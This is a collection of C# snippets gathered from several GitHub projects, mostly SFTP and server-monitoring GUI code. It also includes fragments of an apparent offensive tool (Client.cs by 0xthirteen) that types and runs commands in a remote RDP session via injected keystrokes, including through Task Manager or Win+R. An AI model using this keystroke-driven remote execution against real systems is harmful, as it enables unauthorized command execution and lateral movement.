                Thread.Sleep(1000);

                Thread.Sleep(500);
                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");

                SendElement("Alt+F");
                Thread.Sleep(1000);

                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");
                Thread.Sleep(500);
            }

            Console.WriteLine("[+] Executing {0}", cmd.ToLower());
            SendText(cmd.ToLower());
            Thread.Sleep(1000);

            if (runtype == "taskmgr")
            {
                SendElement("Tab");
                Thread.Sleep(500);
                SendElement("Space");
                Thread.Sleep(500);
            }

            if(runtype == "winr")
            {
                //Currently bugged - does not run elevated
                SendElement("Ctrl+Shift+down");
                Thread.Sleep(500);
                SendElement("Enter+down");
                Thread.Sleep(250);
                SendElement("Enter+up");
                Thread.Sleep(500);
                SendElement("Ctrl+Shift+up");
                Thread.Sleep(500);
            }
            else
            {
                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");
                Thread.Sleep(250);
            }

            if (isdrive == true)
            {
                SendElement("Left");
                Thread.Sleep(500);
                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");
            }
            
            if (runtype == "winr")
            {
                SendElement("Left");
                Thread.Sleep(500);
                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");
            }
            if (runtype == "taskmgr")
            {
                Thread.Sleep(250);
                SendElement("Alt+F4");
            }
        }

19 Source : Client.cs
with BSD 3-Clause "New" or "Revised" License
from 0xthirteen

private void RunConsole(string consoletype)
        {
            if (runtype == "taskmgr")
            {
                Console.WriteLine("[+] Executing task manager");
                Thread.Sleep(500);
                SendText("taskmgr");
                Thread.Sleep(1000);

                Thread.Sleep(500);
                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");

                SendElement("Alt+F");
                Thread.Sleep(1000);

                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");
                Thread.Sleep(500);
            }

            Console.WriteLine("[+] Executing {0} from {1}", cmd.ToLower(), consoletype);
            SendText(consoletype);
            Thread.Sleep(1000);

            if (runtype == "taskmgr")
            {
                SendElement("Tab");
                Thread.Sleep(500);
                SendElement("Space");
                Thread.Sleep(250);
            }

            if (runtype == "winr")
            {
                //Currently bugged - does not run elevated
                SendElement("Ctrl+Shift+down");
                Thread.Sleep(500);
                SendElement("Enter+down");
                Thread.Sleep(250);
                SendElement("Enter+up");
                Thread.Sleep(500);
                SendElement("Ctrl+Shift+up");
                Thread.Sleep(500);
            }
            else
            {
                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");
                Thread.Sleep(250);
            }

            Thread.Sleep(500);
            SendText(cmd.ToLower());

            Thread.Sleep(1000);

            SendElement("Enter+down");
            Thread.Sleep(500);
            SendElement("Enter+up");

            Thread.Sleep(500);
            SendText("exit");

            SendElement("Enter+down");
            Thread.Sleep(500);
            SendElement("Enter+up");

            if(runtype == "taskmgr")
            {
                Thread.Sleep(250);
                SendElement("Alt+F4");
                Thread.Sleep(250);
            }
        }

19 Source : DiscordWebhook.cs
with MIT License
from 1-EXON

private void Send_click()
        {
            if (content.Text == string.Empty)
            {
                MessageBox.Show("메세지를 입력하세요");
                Console.WriteLine("Empty");
            }
            else
            {
                using (DcWebHook dcWeb = new DcWebHook())
                {
                    dcWeb.ProfilePicture = image.Text;
                    dcWeb.UserName = name.Text;
                    dcWeb.WebHook = Data.discordLink;

                    #region Embed Test
                    //Embed TEST

                    //NameValueCollection embed = new NameValueCollection
                    //{    
                    //    {
                    //        "replacedle",
                    //        this.content.Text
                    //    },
                    //    {
                    //        "description",
                    //        "안녕"
                    //    },
                    //    {
                    //        "color",
                    //        "#ffffff"
                    //    }
                    //};
                    //    NameValueCollection msg = new NameValueCollection
                    //    {
                    //        {
                    //            "username",
                    //            this.name.Text
                    //        },
                    //        {
                    //            "avatar_url",
                    //            this.image.Text
                    //        },
                    //        {
                    //            "content",
                    //            this.content.Text
                    //        },
                    //        { 
                    //            "embeds",
                    //            {
                    //                {

                    //                    "replacedle",
                    //                    this.content.Text
                    //                },
                    //                {
                    //                    "description",
                    //                    "안녕"
                    //                },
                    //                {
                    //                    "color",
                    //                    "#ffffff"
                    //                },
                    //            }
                    //        }

                    //    };
                    #endregion



                    if (repeat.Text == "")
                    {
                        MessageBox.Show("숫자를 입력하세요");
                        return;
                    }

                    else if (Convert.ToInt32(repeat.Text) < 6)
                    {

                        for (int i = 0; i < Convert.ToInt32(repeat.Text); i++)
                        {
                            dcWeb.SendMessage(content.Text);//

                        }
                    }

                    //서른개 넘어가면 1초도 에러
                    else if (Convert.ToInt32(repeat.Text) <= 0)
                    {
                        MessageBox.Show("0 이하의 수는 입력하실 수 없습니다.");
                    }
                    else
                    {

                        for (int i = 0; i < Convert.ToInt32(repeat.Text); i++)
                        {
                            dcWeb.SendMessage(content.Text);//
                            Thread.Sleep(1 * 1000);
                        }
                    }
                }
            }

            if (resetRepeat.Checked)
            {
                repeat.Text = "1";
            }

            if (resetContent.Checked)
            {
                content.Text = string.Empty;
            }

        }

19 Source : Client.cs
with BSD 3-Clause "New" or "Revised" License
from 0xthirteen

public void SendText(String text)
        {
            foreach (var t in text)
            {
                var symbol = t.ToString();
                keydata.SendKeys(keycode[symbol].length, ref keycode[symbol].bools[0], ref keycode[symbol].ints[0]);
                Thread.Sleep(10);
            }
        }

19 Source : SQLManager.cs
with MIT License
from 1100100

private void Initialize()
        {
            ReadXmlFiles(SqlCache);
            ChangeToken.OnChange(() => FileProvider.Watch("**/*.xml"), () =>
            {
                Thread.Sleep(500);
                try
                {
                    ReadXmlFiles(SqlTempCache);
                    SqlCache.Clear();
                    foreach (var item in SqlTempCache)
                    {
                        SqlCache.TryAdd(item.Key, item.Value);
                    }
                    SqlTempCache.Clear();
                }
                catch (Exception ex)
                {
                    Logger.LogError($"Sql separate xml file error:{ex.Message}");
                    SqlTempCache.Clear();
                }
            });
        }

19 Source : Client.cs
with BSD 3-Clause "New" or "Revised" License
from 0xthirteen

private void SendElement(String curchars)
        {
            var current = keycode[curchars];
            keydata.SendKeys(current.length, ref current.bools[0], ref current.ints[0]);
            Thread.Sleep(10);
        }

19 Source : MainWindow.xaml.cs
with GNU General Public License v3.0
from 1RedOne

private void RegisterClient(int thisIndex)
        {
            GetWait();
            string ThisFilePath = System.IO.Directory.GetCurrentDirectory();
            Device ThisClient = Devices[thisIndex];
            log.Info($"[{ThisClient.Name}] - Beginning to process");
            //Update UI
            FireProgress(thisIndex, "CreatingCert...", 15);
            log.Info($"[{ThisClient.Name}] - About to generate cert at {ThisFilePath}...");
            X509Certificate2 newCert = FauxDeployCMAgent.CreateSelfSignedCertificate(ThisClient.Name);
            string myPath = ExportCert(newCert, ThisClient.Name, ThisFilePath);
            log.Info($"[{ThisClient.Name}] - Cert generated at {myPath}!");
            //Update UI
            FireProgress(thisIndex, "CertCreated!", 25);
            System.Threading.Thread.Sleep(1500);
            FireProgress(thisIndex, "Registering Client...", 30);
            SmsClientId clientId;
            log.Info($"[{ThisClient.Name}] - About to register with CM...");
            try
            {
                clientId = FauxDeployCMAgent.RegisterClient(CmServer, ThisClient.Name, DomainName, myPath, Preplacedword, log);
            }
            catch (Exception e)
            {
                log.Error($"[{ThisClient.Name}] - Failed to register with {e.Message}...");
                if (noisy)
                {
                    System.Windows.MessageBox.Show(" We failed with " + e.Message);
                    throw;
                }
                FireProgress(thisIndex, "ManagementPointErrorResponse...", 100);
                return;
            }
            //SmsClientId clientId = FauxDeployCMAgent.RegisterClient(CmServer, ThisClient.Name, DomainName, myPath, Preplacedword);

            FireProgress(thisIndex, "Starting Inventory...", 50);
            FauxDeployCMAgent.SendDiscovery(CmServer, ThisClient.Name, DomainName, SiteCode, myPath, Preplacedword, clientId, log, InventoryIsChecked);

            FireProgress(thisIndex, "RequestingPolicy", 75);
            //FauxDeployCMAgent.GetPolicy(CMServer, SiteCode, myPath, Preplacedword, clientId);

            FireProgress(thisIndex, "SendingCustom", 85);
            FauxDeployCMAgent.SendCustomDiscovery(CmServer, ThisClient.Name, SiteCode, ThisFilePath, CustomClientRecords);

            FireProgress(thisIndex, "Complete", 100);
        }

19 Source : ControlUtil.cs
with Apache License 2.0
from 214175590

public static void delayClearText(DelayDelegate dele, int millis)
        {
            ThreadPool.QueueUserWorkItem((a) =>
            {
                Thread.Sleep(millis);
                dele();
            });
        }

19 Source : MonitorItemForm.cs
with Apache License 2.0
from 214175590

private void button1_Click(object sender, EventArgs e)
        {
            int index = tabControl1.SelectedIndex;
            bool isnew = false;
            if (monitorConfig == null)
            {
                isnew = true;                
            }
            else
            {
                index = tabIndex;
            }
            if (index == 0)
            { // springboot
                SpringBootMonitorItem item = new SpringBootMonitorItem();                
                item.AppName = stb_app_name.Text;
                item.BuildFileName = stb_build_file.Text;
                item.CrlFileName = stb_ctl_file.Text;
                item.ShFileDir = stb_sh_dir.Text;
                if (item.ShFileDir.EndsWith("/"))
                {
                    item.ShFileDir = item.ShFileDir.Substring(0, item.ShFileDir.Length);
                }
                item.ProjectSourceDir = stb_project_source_dir.Text;
                if (item.ProjectSourceDir.EndsWith("/"))
                {
                    item.ProjectSourceDir = item.ProjectSourceDir.Substring(0, item.ProjectSourceDir.Length);
                }
                item.HomeUrl = stb_home_url.Text;
                item.RunStatus = RunState.NoCheck;
                if (string.IsNullOrWhiteSpace(item.HomeUrl))
                {
                    item.HomeUrl = "http://" + config.Host + ":8080/";
                }
                if (string.IsNullOrWhiteSpace(item.AppName) || hasNonChar(item.AppName))
                {
                    MessageBox.Show(this, "请填写应用名称,且不能包含'\",:;|");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.ShFileDir))
                {
                    MessageBox.Show(this, "请填写应用脚本目录");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.BuildFileName))
                {
                    MessageBox.Show(this, "请填写应用编译脚本文件名称");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.CrlFileName))
                {
                    MessageBox.Show(this, "请填写应用控制脚本文件名称");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.ProjectSourceDir))
                {
                    MessageBox.Show(this, "请填写应用代码存放目录");
                    return;
                }

                item.NeedAdd = cb_need_add.Checked;
                if (item.NeedAdd)
                {
                    item.ProjectSvnUrl = stb_project_svn.Text;
                    if (string.IsNullOrWhiteSpace(item.ProjectSvnUrl))
                    {
                        MessageBox.Show(this, "请填写应用SVN地址");
                        return;
                    }
                }
                if (isnew)
                {
                    item.Uuid = Guid.NewGuid().ToString("N");
                    monitorConfig = new MonitorItemConfig();
                }
                else
                {
                    item.Uuid = monitorConfig.spring.Uuid;
                }
                monitorConfig.spring = item;
            }
            else if (index == 1)
            { // tomcat
                TomcatMonitorItem item = new TomcatMonitorItem();                
                item.TomcatName = stb_tomcat_name.Text;
                item.TomcatDir = stb_tomcat_path.Text;
                item.TomcatPort = stb_tomcat_port.Text;
                item.RunStatus = RunState.NoCheck;
                if (string.IsNullOrWhiteSpace(item.TomcatName) || hasNonChar(item.TomcatName))
                {
                    MessageBox.Show(this, "请填写Tomcat名称,且不能包含'\",:;|");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.TomcatDir))
                {
                    MessageBox.Show(this, "请填写Tomcat根目录");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.TomcatPort))
                {
                    item.TomcatPort = "8080";
                }
                if (isnew)
                {
                    item.Uuid = Guid.NewGuid().ToString("N");
                    monitorConfig = new MonitorItemConfig();
                }
                else
                {
                    item.Uuid = monitorConfig.tomcat.Uuid;
                }
                monitorConfig.tomcat = item;
            }
            else if (index == 2)
            { // nginx
                NginxMonitorItem item = new NginxMonitorItem();                
                item.NginxName = stb_nginx_name.Text;
                item.NginxPath = stb_nginx_path.Text;
                item.NginxConfig = stb_nginx_conf.Text;
                item.RunStatus = RunState.NoCheck;
                if (string.IsNullOrWhiteSpace(item.NginxName) || hasNonChar(item.NginxName))
                {
                    MessageBox.Show(this, "请填写Nginx名称,且不能包含'\",:;|");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.NginxPath))
                {
                    MessageBox.Show(this, "请填写Nginx执行文件完整路径");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.NginxConfig))
                {
                    MessageBox.Show(this, "请填写Nginx配置文件完整路径");
                    return;
                }
                if (isnew)
                {
                    monitorConfig = new MonitorItemConfig();
                    item.Uuid = Guid.NewGuid().ToString("N");
                }
                else
                {
                    item.Uuid = monitorConfig.nginx.Uuid;
                }
                monitorConfig.nginx = item;
            }
            else if (index == 3)
            { // ice
                IceMonitorItem item = new IceMonitorItem();
                item.AppName = stb_ice_appname.Text;
                item.IceSrvDir = stb_ice_srvpath.Text;
                item.NodePorts = stb_ice_ports.Text;
                item.ServerName = stb_ice_servername.Text;
                item.RunStatus = RunState.NoCheck;
                if (string.IsNullOrWhiteSpace(item.AppName) || hasNonChar(item.AppName))
                {
                    MessageBox.Show(this, "请填写项目名称,且不能包含'\",:;|");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.IceSrvDir))
                {
                    MessageBox.Show(this, "请填写项目Ice目录完整路径");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.ServerName))
                {
                    MessageBox.Show(this, "请填写Ice服务名称");
                    return;
                }
                else if (string.IsNullOrWhiteSpace(item.NodePorts))
                {
                    MessageBox.Show(this, "请填写项目使用的端口号,多个以逗号(,)分隔");
                    return;
                }
                if (isnew)
                {
                    monitorConfig = new MonitorItemConfig();
                    item.Uuid = Guid.NewGuid().ToString("N");
                }
                else
                {
                    item.Uuid = monitorConfig.ice.Uuid;
                }
                monitorConfig.ice = item;
            }


            if (isnew)
            {
                config.MonitorConfigList.Add(monitorConfig);
            }

            AppConfig.Instance.SaveConfig(2);

            if (null != parentForm && monitorConfig.spring != null)
            {
                // TODO 执行checkout
                if (monitorConfig.spring.NeedAdd)
                {
                    string home = parentForm.getSftp().getHome();
                    string buildStr = YSTools.YSFile.readFileToString(MainForm.CONF_DIR + "__build.sh");
                    string ctlStr = YSTools.YSFile.readFileToString(MainForm.CONF_DIR + "__ctl.sh");
                    if (monitorConfig.spring.ProjectSourceDir.StartsWith(home))
                    {
                        string path = monitorConfig.spring.ProjectSourceDir.Substring(home.Length);
                        if (path.StartsWith("/"))
                        {
                            path = path.Substring(1);
                        }
                        buildStr = buildStr.Replace("_sourcePath_", "~/" + path);
                        ctlStr = ctlStr.Replace("_sourcePath_", "~/" + path);
                    }
                    else
                    {
                        buildStr = buildStr.Replace("_sourcePath_", monitorConfig.spring.ProjectSourceDir);
                        ctlStr = ctlStr.Replace("_sourcePath_", monitorConfig.spring.ProjectSourceDir);
                    }
                    buildStr = buildStr.Replace("_projectName_", monitorConfig.spring.AppName);
                    ctlStr = ctlStr.Replace("_projectName_", monitorConfig.spring.AppName);
                    ctlStr = ctlStr.Replace("_disconfigUrl_", stb_disconfig_url.Text);                    

                    string localBuild = MainForm.CONF_DIR + monitorConfig.spring.BuildFileName;
                    string localCtl = MainForm.CONF_DIR + monitorConfig.spring.CrlFileName;
                    string remoteBuild = monitorConfig.spring.ShFileDir + "/" + monitorConfig.spring.BuildFileName;
                    string remoteCtl = monitorConfig.spring.ShFileDir + "/" + monitorConfig.spring.CrlFileName;

                    YSTools.YSFile.writeFileByString(localBuild, buildStr);
                    YSTools.YSFile.writeFileByString(localCtl, ctlStr);

                    ThreadPool.QueueUserWorkItem((a) =>
                    {
                        Thread.Sleep(500);
                        parentForm.BeginInvoke((MethodInvoker)delegate()
                        {
                            parentForm.getSftp().put(localBuild, remoteBuild, ChannelSftp.OVERWRITE);
                            parentForm.getSftp().put(localCtl, remoteCtl, ChannelSftp.OVERWRITE);

                            parentForm.RunShell("cd " + monitorConfig.spring.ProjectSourceDir, true);
                            parentForm.RunShell("svn checkout " + monitorConfig.spring.ProjectSvnUrl, true);

                            File.Delete(localBuild);
                            File.Delete(localCtl);
                        });
                    });
                }                
            }

            this.Close();
        }

19 Source : MonitorItemForm.cs
with Apache License 2.0
from 214175590

private void stb_home_url_Enter(object sender, EventArgs e)
        {
            string sdir = stb_project_source_dir.Text;
            string appname = stb_app_name.Text;
            string url = stb_home_url.Text;
            if(!string.IsNullOrWhiteSpace(sdir) && !string.IsNullOrWhiteSpace(appname) && url.EndsWith("[port]")){
                try
                {
                    if (get_spboot_port_run)
                    {
                        return;
                    }
                    get_spboot_port_run = true;
                    if (!sdir.EndsWith("/"))
                    {
                        sdir += "/";
                    }
                    string serverxml = string.Format("{0}{1}/src/main/resources/config/application-dev.yml", sdir, appname);
                    string targetxml = MainForm.TEMP_DIR + string.Format("application-dev-{0}.yml", DateTime.Now.ToString("MMddHHmmss"));
                    targetxml = targetxml.Replace("\\", "/");
                    parentForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                    ThreadPool.QueueUserWorkItem((a) =>
                    {
                        Thread.Sleep(500);
                        string port = "", ctx = "";
                        string yml = YSTools.YSFile.readFileToString(targetxml);
                        if(!string.IsNullOrWhiteSpace(yml)){
                            string[] lines = yml.Split('\n');
                            bool find = false;                            
                            int index = 0, start = 0;
                            foreach(string line in lines){
                                if (line.Trim().StartsWith("server:"))
                                {
                                    find = true;
                                    start = index;
                                }
                                else if(find && line.Trim().StartsWith("port:")){
                                    port = line.Substring(line.IndexOf(":") + 1).Trim();
                                }
                                else if (find && line.Trim().StartsWith("context-path:"))
                                {
                                    ctx = line.Substring(line.IndexOf(":") + 1).Trim();
                                }
                                if (index - start > 4 && start > 0)
                                {
                                    break;
                                }
                                index++;
                            }
                        }

                        if (port != "")
                        {
                            stb_home_url.BeginInvoke((MethodInvoker)delegate()
                            {
                                stb_home_url.Text = string.Format("http://{0}:{1}{2}", config.Host, port, ctx);
                            });
                        }
                        
                        get_spboot_port_run = false;

                        File.Delete(targetxml);
                    });
                }
                catch(Exception ex) {
                    logger.Error("Error", ex);
                }

            }
        }

19 Source : MonitorItemForm.cs
with Apache License 2.0
from 214175590

void SrvPath_TextChanged(object sender, EventArgs e)
        {
            string path = stb_ice_srvpath.Text;
            if (!string.IsNullOrWhiteSpace(path))
            {
                string appname = stb_ice_appname.Text;

                if (!string.IsNullOrWhiteSpace(appname) && string.IsNullOrWhiteSpace(stb_ice_ports.Text))
                {
                    try
                    {
                        if (get_ice_port_run)
                        {
                            return;
                        }
                        get_ice_port_run = true;
                        if (!path.EndsWith("/"))
                        {
                            path += "/";
                        }
                        string serverxml = string.Format("{0}config/{1}.xml", path, appname);
                        string targetxml = MainForm.TEMP_DIR + string.Format("srv-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
                        targetxml = targetxml.Replace("\\", "/");
                        parentForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                        ThreadPool.QueueUserWorkItem((a) =>
                        {
                            Thread.Sleep(500);

                            List<Hashtable> list = YSTools.YSXml.readXml(targetxml, "icegrid");
                            if (list != null && list.Count > 0)
                            {
                                List<Hashtable> appList = null, nodeList = null;
                                List<Hashtable> serverList = null;
                                string ports = "", nodeName = "", serverName = "";
                                foreach (Hashtable one in list)
                                {
                                    if (one["NodeName"].ToString() == "application")
                                    {
                                        appList = (List<Hashtable>)one["ChildList"];
                                        foreach (Hashtable two in appList)
                                        {
                                            if (two["NodeName"].ToString() == "node")
                                            {
                                                nodeName = two["name"].ToString();
                                                nodeList = (List<Hashtable>)two["ChildList"];
                                                foreach (Hashtable four in nodeList)
                                                {
                                                    if (four["NodeName"].ToString() == "server-instance")
                                                    {
                                                        ports += "," + four["serverport"].ToString();
                                                    }
                                                }

                                            }

                                            if (two["NodeName"].ToString() == "server-template")
                                            {
                                                serverList = (List<Hashtable>)two["ChildList"];
                                                foreach (Hashtable four in serverList)
                                                {
                                                    if (four["NodeName"].ToString() == "icebox")
                                                    {
                                                        serverName = four["id"].ToString();
                                                        serverName = serverName.Substring(0, serverName.IndexOf("$")) + "1";
                                                        break;
                                                    }
                                                }
                                            }

                                            if (ports != "")
                                            {
                                                break;
                                            }
                                        }
                                    }
                                }
                                                                
                                stb_ice_ports.BeginInvoke((MethodInvoker)delegate()
                                {
                                    stb_ice_servername.Text = serverName;
                                    stb_ice_ports.Text = ports == "" ? "8082" : ports.Substring(1);
                                });
                            }
                            get_ice_port_run = false;

                            File.Delete(targetxml);
                        });
                    }
                    catch { }
                }
            }
        }

19 Source : ControlUtil.cs
with Apache License 2.0
from 214175590

public static void delayHide(Control control, int millis)
        {
            ThreadPool.QueueUserWorkItem((a) =>
            {
                control.BeginInvoke((MethodInvoker)delegate()
                {
                    Thread.Sleep(millis);

                    control.Visible = false;
                });
            });            
        }

19 Source : ConditionTaskForm.cs
with Apache License 2.0
from 214175590

public void InitCondition(int index, RenderFinishDelegate dele)
        {
            ThreadPool.QueueUserWorkItem((a) =>
            {
                this.BeginInvoke((MethodInvoker)delegate()
                {
                    if (index == 1)
                    {
                        scb_condition1.Items.Clear();
                    }
                    else if (index == 2)
                    {
                        scb_condition2.Items.Clear();
                    }
                    else if (index == 3)
                    {
                        scb_condition3.Items.Clear();
                    }
                    ConditionItem condi = null;
                    foreach (MonitorItemConfig item in config.MonitorConfigList)
                    {
                        condi = new ConditionItem();
                        if (item.spring != null)
                        {
                            condi.Index = item.spring.Index;
                            condi.Item = item.spring;
                        }
                        else if (item.tomcat != null)
                        {
                            condi.Index = item.tomcat.Index;
                            condi.Item = item.tomcat;
                        }
                        else if (item.nginx != null)
                        {
                            condi.Index = item.nginx.Index;
                            condi.Item = item.nginx;
                        }
                        else if (item.ice != null)
                        {
                            condi.Index = item.ice.Index;
                            condi.Item = item.ice;
                        }

                        if (index == 1)
                        {
                            scb_condition1.Items.Add(condi);
                        }
                        else if (index == 2)
                        {
                            if (scb_condition1.SelectedItem == null 
                                || scb_condition1.SelectedItem.ToString() != condi.ToString())
                            {
                                scb_condition2.Items.Add(condi);
                            }                            
                        }
                        else if (index == 3)
                        {
                            if (scb_condition1.SelectedItem == null
                                || scb_condition1.SelectedItem.ToString() != condi.ToString())
                            {
                                if (scb_condition2.SelectedItem == null
                                || scb_condition2.SelectedItem.ToString() != condi.ToString())
                                {
                                    scb_condition3.Items.Add(condi);
                                }
                            }                            
                        }
                    }                    
                    if (null != dele)
                    {
                        dele(index);
                    }                    
                });
                System.Threading.Thread.Sleep(300);
            });
        }

19 Source : IceMonitorForm.cs
with Apache License 2.0
from 214175590

private void btn_run_Click(object sender, EventArgs e)
        {
            string cmdstr = shellView.Text;
            if(!string.IsNullOrWhiteSpace(cmdstr)){
                string[] cmdArr = cmdstr.Split('\n');
                foreach(string cmd in cmdArr){
                    monitorForm.RunShell(cmd.Trim(), true, true);
                    Thread.Sleep(100);
                }
            }            
        }

19 Source : MonitorItemForm.cs
with Apache License 2.0
from 214175590

void Tomcat_TextChanged(object sender, EventArgs e)
        {
            string path = stb_tomcat_path.Text;
            if (!string.IsNullOrWhiteSpace(path))
            {
                if (string.IsNullOrWhiteSpace(tomcat_name))
                {
                    try
                    {
                        stb_tomcat_name.Text = path.Substring(path.LastIndexOf("/") + 1);
                    }
                    catch { }
                }

                if (string.IsNullOrWhiteSpace(stb_tomcat_port.Text))
                {
                    try
                    {
                        if (get_tomcat_port_run)
                        {
                            return;
                        }
                        get_tomcat_port_run = true;
                        if (!path.EndsWith("/"))
                        {
                            path += "/";
                        }
                        string serverxml = path + "conf/server.xml";
                        string targetxml = MainForm.TEMP_DIR + string.Format("server-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
                        targetxml = targetxml.Replace("\\", "/");
                        parentForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                        ThreadPool.QueueUserWorkItem((a) => {
                            Thread.Sleep(500);

                            List<Hashtable> list = YSTools.YSXml.readXml(targetxml, "Server");
                            if(list != null && list.Count > 0){
                                List<Hashtable> serviceList = null;
                                string port = null;
                                foreach(Hashtable one in list){
                                    if (one["NodeName"].ToString() == "Service")
                                    {
                                        serviceList = (List<Hashtable>) one["ChildList"];
                                        foreach (Hashtable two in serviceList)
                                        {
                                            if (two["NodeName"].ToString() == "Connector")
                                            {
                                                port = two["port"].ToString();

                                                break;
                                            }
                                        }
                                        if(port != null){
                                            break;
                                        }
                                    }
                                }

                                stb_tomcat_port.BeginInvoke((MethodInvoker)delegate()
                                {
                                   stb_tomcat_port.Text = port == null ? "8080" : port;
                                });
                            }
                            get_tomcat_port_run = false;

                            File.Delete(targetxml);
                        });
                    }
                    catch { }
                }
            }
        }

19 Source : MainWindow.xaml.cs
with GNU General Public License v3.0
from 1RedOne

private void GetWait()
        {
            Random random = new Random();
            int w = random.Next(3, 7);
            System.Threading.Thread.Sleep(100 * w);
        }

19 Source : NginxMonitorForm.cs
with Apache License 2.0
from 214175590

private void btn_run_Click(object sender, EventArgs e)
        {
            string cmdstr = shellView.Text;
            if (!string.IsNullOrWhiteSpace(cmdstr))
            {
                string[] cmdArr = cmdstr.Split('\n');
                foreach (string cmd in cmdArr)
                {
                    monitorForm.RunShell(cmd.Trim(), true);
                    Thread.Sleep(100);
                }
            }  
        }

19 Source : SftpForm.cs
with Apache License 2.0
from 214175590

public void StartL2R()
        {
            ThreadPool.QueueUserWorkItem((a) =>
            {
                localToRemoteRun = true;
                if (localQueue.Count > 0)
                {
                    while (localToRemoteRun)
                    {
                        try
                        {
                            if (!transfering)
                            {
                                Thread.Sleep(100);
                                RunLocalToRemote();
                            }                            
                        }
                        catch { }
                        Thread.Sleep(100);
                    }
                }                
                localToRemoteRun = false;
            });
        }

19 Source : SftpLinuxForm.cs
with Apache License 2.0
from 214175590

public void Connect()
        {
            shell = new SshShell(user.Host, user.UserName, YSEncrypt.DecryptB(user.Preplacedword, KeysUtil.PreplacedKey));

            shell.Connect(user.Port);

            m_Channel = shell.getChannel();
            session = shell.getSession();

            sftpChannel = (ChannelSftp)session.openChannel("sftp");
            sftpChannel.connect();

            ThreadPool.QueueUserWorkItem((a) =>
            {
                string line = null;
                while (RUN_CUT && shell.ShellOpened)
                {
                    success = true;
                    logger.Debug("Successed...");
                    sftpForm.HideTool();

                    System.Threading.Thread.Sleep(100);
                    while ((line = m_Channel.GetMessage()) != null)
                    {
                        Console.WriteLine(line);
                    }
                }

                logger.Debug("Disconnecting...");
                Disconnection();
                logger.Debug("OK");
                
            });

            dir = sftpChannel.getHome();

            text_adress.Text = dir;

            LoadDirFilesToListView(dir);

            SetContentMenuItem(true);
        }

19 Source : SftpLinuxForm.cs
with Apache License 2.0
from 214175590

private void listView2_MouseUp(object sender, MouseEventArgs e)
        {
            if (listView2.SelectedItems.Count > 0)
            {
                int index = listView2.SelectedIndices[0];
                string name = listView2.SelectedItems[0].Text;
                if (name == ".." && index == 0)
                {
                    listView2.ContextMenuStrip = null;
                    ThreadPool.QueueUserWorkItem((a) =>
                    {
                        Thread.Sleep(100);
                        this.BeginInvoke((MethodInvoker)delegate()
                        {
                            listView2.ContextMenuStrip = contextMenuStrip1;
                        });
                    });
                }
            }
        }

19 Source : TomcatMonitorForm.cs
with Apache License 2.0
from 214175590

private void btn_run_Click(object sender, EventArgs e)
        {
            string cmdstr = shellView.Text;
            if (!string.IsNullOrWhiteSpace(cmdstr))
            {
                string[] cmdArr = cmdstr.Split('\n');
                foreach (string cmd in cmdArr)
                {
                    monitorForm.RunShell(cmd.Trim(), true, true);
                    Thread.Sleep(100);
                }
            }  
        }

19 Source : TomcatMonitorForm.cs
with Apache License 2.0
from 214175590

private void btn_restart_Click(object sender, EventArgs e)
        {
            monitorForm.RunShell(l_tomcat_path.Text + "bin/shutdown.sh", false, true);

            CheckItem();
            ThreadPool.QueueUserWorkItem((a) =>
            {
                Thread.Sleep(15);

                monitorForm.RunShell(l_tomcat_path.Text + "bin/startup.sh", false, true);

                CheckItem();
            });            
        }

19 Source : SftpLinuxForm.cs
with Apache License 2.0
from 214175590

private void renameToolStripMenuItem_Click(object sender, EventArgs e)
        {
            int count = listView2.SelectedItems.Count;
            if (count > 0)
            {
                ListViewItem row = listView2.SelectedItems[0];
                if (row != null)
                {
                    string oldName = row.Text;
                    ChannelSftp.LsEntry entry = (ChannelSftp.LsEntry)row.Tag;
                    string msg = "请输入文件夹的新名称";
                    if(!entry.getAttrs().isDir()){
                        msg = "请输入文件的新名称";
                    }
                    InputForm form = new InputForm(msg, oldName, new InputForm.FormResult((newName) =>
                    {
                        if (oldName != newName)
                        {
                            string dirs = getCurrDir();
                            string path1 = dirs + Utils.getLinuxName(oldName);
                            string path2 = dirs + Utils.getLinuxName(newName);
                            SendShell(string.Format("mv {0} {1}", path1, path2));

                            ThreadPool.QueueUserWorkItem((a) =>
                            {
                                Thread.Sleep(500);
                                RefreshFiles();
                            });
                        }
                    }));
                    form.ShowDialog(this);
                }
            }            
        }

19 Source : SftpForm.cs
with Apache License 2.0
from 214175590

public void StartR2L()
        {
            ThreadPool.QueueUserWorkItem((a) =>
            {
                remoteToLocalRun = true;
                if (remoteQueue.Count > 0)
                {
                    while (remoteToLocalRun)
                    {
                        try
                        {
                            RunRemoteToLocal();
                        }
                        catch { }
                        Thread.Sleep(100);
                    }
                }                
                remoteToLocalRun = false;
            });
        }

19 Source : SftpLinuxForm.cs
with Apache License 2.0
from 214175590

private void newFolderToolStripMenuItem_Click(object sender, EventArgs e)
        {
            InputForm form = new InputForm("请输入文件夹名称", "", new InputForm.FormResult((name) => {
                if(!string.IsNullOrWhiteSpace(name)){

                    SendShell("mkdir -p " + getCurrDir() + Utils.getLinuxName(name));

                    ThreadPool.QueueUserWorkItem((a) =>
                    {
                        Thread.Sleep(500);
                        RefreshFiles();
                    });
                }
                else
                {
                    MessageBox.Show(this, "名称不能为空");
                }                
            }));
            form.ShowDialog(this);
        }

19 Source : SftpLinuxForm.cs
